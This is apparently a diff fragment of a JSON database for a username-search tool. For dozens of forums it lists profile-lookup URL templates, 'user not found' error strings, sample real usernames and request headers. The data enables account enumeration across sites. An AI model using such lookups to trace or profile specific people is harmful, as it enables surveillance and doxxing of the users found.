"🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "403 Forbidden", + "errorMsg3": "временно приостановлен", + "errorTyp��": "message", + "url": "https://forum.tks.ru/member.php?username={}", + "urlMain": "https://forum.tks.ru/", + "usernameON": "red", + "bad_site": "" + }, + "Forum_tlm": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tokiogirl.ucoz.ru/index/8-0-{}", + "urlMain": "https://tokiogirl.ucoz.ru", + "usernameON": "iisus1996", + "bad_site": "" + }, + "Forum_tolkienist": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tolkienist.ucoz.ru/index/8-0-{}", + "urlMain": "http://tolkienist.ucoz.ru", + "usernameON": "Банту", + "bad_site": "" + }, + "Forum_tomtom": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tomtomforums.com/members/?username={}", + "urlMain": "https://www.tomtomforums.com", + "usernameON": "silberpfeil", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tootimid": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.tootimid.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.tootimid.com", + "usernameON": "eagle143", + "bad_site": "" + }, + "Forum_topeleven": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered", + "errorMsg2": "Top Eleven Forum", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.topeleven.com/member.php?username={}", + "urlMain": "https://forum.topeleven.com", + "usernameON": "Taliyah25", + "bad_site": "" + }, + "Forum_topgold": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://topgold.forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://topgold.forum/", + "usernameON": "Resolve", + "bad_site": "" + }, + "Forum_topgoldforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "There were no results for your search", + "errorTyp��": "message", + "url": "https://topgoldforum.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://topgoldforum.com", + "usernameON": "symphonizedbm", + "bad_site": "" + }, + "Forum_topteam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://topteam.ucoz.ru/index/8-0-{}", + "urlMain": "https://topteam.ucoz.ru", + "usernameON": "Spinne", + "bad_site": "" + }, + "Forum_toribash": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.toribash.com/member.php?username={}", + "urlMain": "https://forum.toribash.com/", + "usernameON": "s1lvered", + "bad_site": "" + }, + "Forum_tornado": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.tornado.ws/u/{}/summary", + "urlMain": "https://forum.tornado.ws", + "usernameON": "sean", + "bad_site": "" + }, + "Forum_torquecars": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.torquecars.com/forums/members/?username={}", + "urlMain": "https://www.torquecars.com", + "usernameON": "mrmacbirch", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tortik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://tortik.ucoz.ru/index/8-0-{}", + "urlMain": "https://tortik.ucoz.ru", + "usernameON": "ggdrEmodyz", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_tosdr": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://tosdr.community/u/{}/summary", + "urlMain": "https://tosdr.community", + "usernameON": "shadowwwind", + "bad_site": "" + }, + "Forum_totallympics": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://totallympics.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://totallympics.com", + "usernameON": "josh", + "bad_site": "" + }, + "Forum_totalrl": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.totalrl.com/forums/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.totalrl.com", + "usernameON": "bobbruce", + "bad_site": "" + }, + "Forum_touchussuri": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://touchussuri.ucoz.ru/index/8-0-{}", + "urlMain": "https://touchussuri.ucoz.ru", + "usernameON": "staletpuhh", + "bad_site": "" + }, + "Forum_tour": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://tourum.net/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://tourum.net", + "usernameON": "etolmacheff", + "comments": "bad", + "bad_site": "" + }, + "Forum_touringplans": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.touringplans.com/u/{}/summary", + "urlMain": "https://forum.touringplans.com", + "usernameON": "heathernoel", + "bad_site": "" + }, + "Forum_tourtrans": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.tourtrans.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.tourtrans.ru", + "usernameON": "Evgeniya", + "bad_site": "" + }, + "Forum_toyotanation": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.toyotanation.com/members/?username={}", + "urlMain": "https://www.toyotanation.com", + "usernameON": "dna59", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_traceryoffate": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user does not exist.", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://traceryoffate.com/forum/profile/{}/", + "urlMain": "https://traceryoffate.com", + "usernameON": "sentinel", + "bad_site": "" + }, + "Forum_tracfone": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.tracfoneforum.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.tracfoneforum.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_trackchecker": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Подходящих тем или сообщений не найдено.", + "errorTyp��": "message", + "url": "https://forum.trackchecker.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.trackchecker.ru", + "usernameON": "f2065", + "bad_site": "" + }, + "Forum_tractorbynet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tractorbynet.com/forums/members/?username={}", + "urlMain": "https://www.tractorbynet.com", + "usernameON": "bmaverick", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_trade-print": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://forum.trade-print.ru/member.php?username={}", + "urlMain": "http://forum.trade-print.ru", + "usernameON": "trioprint", + "bad_site": "" + }, + "Forum_trade2win": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.trade2win.com/members/?username={}", + "urlMain": "https://www.trade2win.com", + "usernameON": "wackypete2", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tradebrains": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "well-known/sgcaptcha", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.tradebrains.in/u/{}/summary", + "urlMain": "https://forum.tradebrains.in", + "usernameON": "nikitawaghmare", + "bad_site": "" + }, + "Forum_traderji": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.traderji.com/community/members/?username={}", + "urlMain": "https://www.traderji.com/", + "usernameON": "arunbalan", + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": 1 + }, + "Forum_traderslaboratory": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "NotFound", + "errorTyp��": "message", + "url": "http://www.traderslaboratory.com/forums/search/?q={}&type=core_members", + "urlMain": "http://www.traderslaboratory.com", + "usernameON": "fxeconomist", + "bad_site": "" + }, + "Forum_tradingqna": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tradingqna.com/u/{}/summary", + "urlMain": "https://tradingqna.com", + "usernameON": "akashkb", + "bad_site": "" + }, + "Forum_tradtalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tradtalk.com/members/?username={}", + "urlMain": "https://www.tradtalk.com/", + "usernameON": "lumis17", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_trainerroad": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.trainerroad.com/forum/u/{}/summary", + "urlMain": "https://www.trainerroad.com", + "usernameON": "joex", + "bad_site": "" + }, + "Forum_transit-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://transit-club.com/index/8-0-{}", + "urlMain": "http://transit-club.com", + "usernameON": "Gidanov", + "bad_site": "" + }, + "Forum_trassa": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": "Информация", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://trassa.by/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://trassa.by", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_travel": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Поиск не дал результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.travel.ru/community/index.php?app=core&module=search&do=search&andor_type=and&search_author={}&search_app_filters[forums][sortKey]=date&search_content=both&search_app_filters[forums][noPreview]=1&search_app_filters[forums][pCount]=&search_app_filters[forums][pViews]=&search_app_filters[forums][sortKey]=date&search_app_filters[forums][sortDir]=0&search_app_filters[forums][searchInKey]=&search_term=&search_app=forums&search_app_filters[forums][searchInKey]=&search_app_filters[forums][sortKey]=title&search_app_filters[forums][sortDir]=0", + "urlMain": "https://www.travel.ru", + "usernameON": "larsen099", + "comments": "ERR_TE", + "bad_site": 1 + }, + "Forum_travel_do": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://travel.do.am/index/8-0-{}", + "urlMain": "https://travel.do.am", + "usernameON": "askutov123", + "bad_site": "" + }, + "Forum_travel_my1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://travel.my1.ru/index/8-0-{}", + "urlMain": "https://travel.my1.ru", + "usernameON": "nbirukova1", + "bad_site": "" + }, + "Forum_trekbbs": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.trekbbs.com/members/?username={}", + "urlMain": "https://www.trekbbs.com", + "usernameON": "ericf", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_trialscentral": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W", + "errorMsg": "0 results", + "errorMsg2": "0 user", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.trialscentral.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.trialscentral.com", + "usernameON": "choover", + "bad_site": "" + }, + "Forum_trimdownclub": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.trimdownclub.com/members/{}/", + "urlMain": "https://www.trimdownclub.com", + "usernameON": "kellyannsi", + "bad_site": "" + }, + "Forum_trinity-ai": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://trinity-ai.at.ua/index/8-0-{}", + "urlMain": "https://trinity-ai.at.ua", + "usernameON": "apelsinikgzy", + "bad_site": "" + }, + "Forum_trmk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.trmk.org/forums/members/?username={}", + "urlMain": "https://www.trmk.org", + "usernameON": "ingend1945", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_troitsa": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://troitsa.ucoz.ru/index/8-0-{}", + "urlMain": "https://troitsa.ucoz.ru", + "usernameON": "Passhikinsky", + "bad_site": "" + }, + "Forum_trotting": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tschkalowo.ucoz.ru/index/8-0-{}", + "urlMain": "https://tschkalowo.ucoz.ru", + "usernameON": "btaletjwhs", + "bad_site": "" + }, + "Forum_tskaro": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tulaignk.ucoz.ru/index/8-0-{}", + "urlMain": "http://tulaignk.ucoz.ru", + "usernameON": "prokofjev7", + "bad_site": "" + }, + "Forum_tumult": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forums.tumult.com/u/{}/summary", + "urlMain": "https://forums.tumult.com", + "usernameON": "daniel", + "bad_site": "" + }, + "Forum_tundrasolutions": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tundrasolutions.com/members/?username={}", + "urlMain": "https://www.tundrasolutions.com", + "usernameON": "dxrouse", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tuning_lviv": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Тем або повідомлень, які відповідають вашому запиту, не знайдено.", + "errorMsg2": "Інформація", + "errorTyp��": "message", + "url": "http://tuning.lviv.ua/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://tuning.lviv.ua", + "usernameON": "jam", + "bad_site": "" + }, + "Forum_tupa-germania": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.tupa-germania.ru/members/?username={}", + "urlMain": "https://forum.tupa-germania.ru", + "usernameON": "lagrange", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_tur_borda": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://turkmeniya.ucoz.ru/index/8-0-{}", + "urlMain": "https://turkmeniya.ucoz.ru", + "usernameON": "koleg5992", + "bad_site": "" + }, + "Forum_turntoislam": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://turntoislam.com/community/members/?username={}", + "urlMain": "https://turntoislam.com", + "usernameON": "exceller", + "comments": "RUblock", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tus-wa": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "does not exist.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.tus-wa.com/profile/{}/", + "urlMain": "https://www.tus-wa.com", + "usernameON": "TheWalrus", + "comments": "super", + "bad_site": 1 + }, + "Forum_tvnewstalk": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Please wait", + "errorMsg2": "0 results", + "errorTyp��": "message", + "url": "https://forums.tvnewstalk.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.tvnewstalk.net", + "usernameON": "red", + "bad_site": "" + }, + "Forum_tvsbook": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tvsbook.com/members/?username={}", + "urlMain": "https://www.tvsbook.com", + "usernameON": "jhjg67", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tvsput": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tvsput.ru/index/8-0-{}", + "urlMain": "http://tvsput.ru", + "usernameON": "sickorskyvik", + "bad_site": "" + }, + "Forum_tvwbb": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tvwbb.com/members/?username={}", + "urlMain": "https://tvwbb.com", + "usernameON": "bruno", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tw200forum": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tw200forum.com/members/?username={}", + "urlMain": "https://www.tw200forum.com", + "usernameON": "drlemonator", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_twilightmovie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://twilightmovie.ucoz.com/index/8-0-{}", + "urlMain": "https://twilightmovie.ucoz.com", + "usernameON": "фанатка", + "bad_site": "" + }, + "Forum_twilightrussia": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "\\W", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://twilightrussia.ru/index/8-0-{}", + "urlMain": "https://twilightrussia.ru", + "usernameON": "MissElen", + "bad_site": "" + }, + "Forum_twospoke": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.twospoke.com/members/?username={}", + "urlMain": "https://www.twospoke.com", + "usernameON": "stevesmith143", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_type2diabetes": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Page not found", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://type2diabetes.com/members/{}", + "urlMain": "https://type2diabetes.com", + "usernameON": "girlsaylor", + "bad_site": "" + }, + "Forum_u-hiv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://forum.u-hiv.ru/index/8-0-{}", + "urlMain": "https://forum.u-hiv.ru", + "usernameON": "Slavochka", + "bad_site": "" + }, + "Forum_u-project": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://u-project.pro/members/?username={}", + "urlMain": "https://u-project.pro", + "usernameON": "takeshi", + "bad_site": 1, + "comments": "vzlom", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_ua-vet": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://forum.ua-vet.com/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.ua-vet.com", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_uahack": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://uahack.at.ua/index/8-0-{}", + "urlMain": "https://uahack.at.ua", + "usernameON": "alexeiuslugivzloma", + "bad_site": "" + }, + "Forum_uaksu": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://uaksu.forum24.ru/?32-{}", + "urlMain": "https://uaksu.forum24.ru", + "usernameON": "vleas", + "bad_site": "" + }, + "Forum_uberpeople": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.uberpeople.net/members/?username={}", + "urlMain": "https://www.uberpeople.net", + "usernameON": "nats121", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ubports": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forums.ubports.com/user/{}", + "urlMain": "https://forums.ubports.com", + "usernameON": "applee", + "bad_site": "" + }, + "Forum_ubuntu": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Nessuna iscrizione corrisponde a questi criteri di ricerca.", + "errorMsg2": "re not a", + "errorTyp��": "message", + "url": "https://forum.ubuntu-it.org/memberlist.php?username={}", + "urlMain": "https://forum.ubuntu-it.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_ubuntu_mate": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://ubuntu-mate.community/u/{}/summary", + "urlMain": "https://ubuntu-mate.community", + "usernameON": "oldstrummer", + "bad_site": "" + }, + "Forum_uc-portaller": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://uc-portaller.ucoz.com/index/8-0-{}", + "urlMain": "http://uc-portaller.ucoz.com", + "usernameON": "use_vse", + "bad_site": "" + }, + "Forum_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://forum.ucoz.ru/index/8-0-{}", + "urlMain": "https://forum.ucoz.ru", + "usernameON": "red", + "bad_site": "" + }, + "Forum_ucozweber": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ucozweber.3dn.ru/index/8-0-{}", + "urlMain": "https://ucozweber.3dn.ru", + "usernameON": "SoVeR", + "bad_site": "" + }, + "Forum_ucozzz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://ucozzz.ru/index/8-0-{}", + "urlMain": "http://ucozzz.ru", + "usernameON": "podrubaj", + "comments": "vzlom", + "bad_site": 1 + }, + "Forum_ufachgk": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>Форум Uinsell.Net", + "errorTyp��": "message", + "url": "http://forum.uinsell.net/member.php?username={}", + "urlMain": "http://forum.uinsell.net", + "usernameON": "ghost", + "bad_site": "" + }, + "Forum_uk_muscle": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.uk-muscle.co.uk/members/?username={}", + "urlMain": "https://www.uk-muscle.co.uk", + "usernameON": "zenol", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ukbusiness": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ukbusinessforums.co.uk/members/?username={}", + "urlMain": "https://www.ukbusinessforums.co.uk", + "usernameON": "fisicx", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ukraine_de": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "Es wurden keine passenden", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ukraineforum.de/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche", + "urlMain": "https://ukraineforum.de", + "usernameON": "Handrij", + "bad_site": "" + }, + "Forum_ukriversguidebook": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.ukriversguidebook.co.uk/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.ukriversguidebook.co.uk", + "usernameON": "Franky", + "bad_site": "" + }, + "Forum_uktechhub": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "robots\" content=\"noindex, nofollow", + "errorMsg2": "Page not found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://uktechhub.com/forums/users/{}/", + "urlMain": "https://uktechhub.com", + "usernameON": "uk-sentinel", + "bad_site": "" + }, + "Forum_ulanovka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Результатов поиска нет", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorMsg3": "возникла проблема", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://ulanovka.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://ulanovka.ru", + "usernameON": "mac", + "bad_site": "" + }, + "Forum_ulfishing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "Sorry, ", + "errorTyp��": "message", + "url": "https://ulfishing.ru/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://ulfishing.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_ulisp": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "http://forum.ulisp.com/u/{}", + "urlMain": "http://forum.ulisp.com", + "usernameON": "nanomonkey", + "bad_site": "" + }, + "Forum_ulybka_borda": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "/noindex>-->

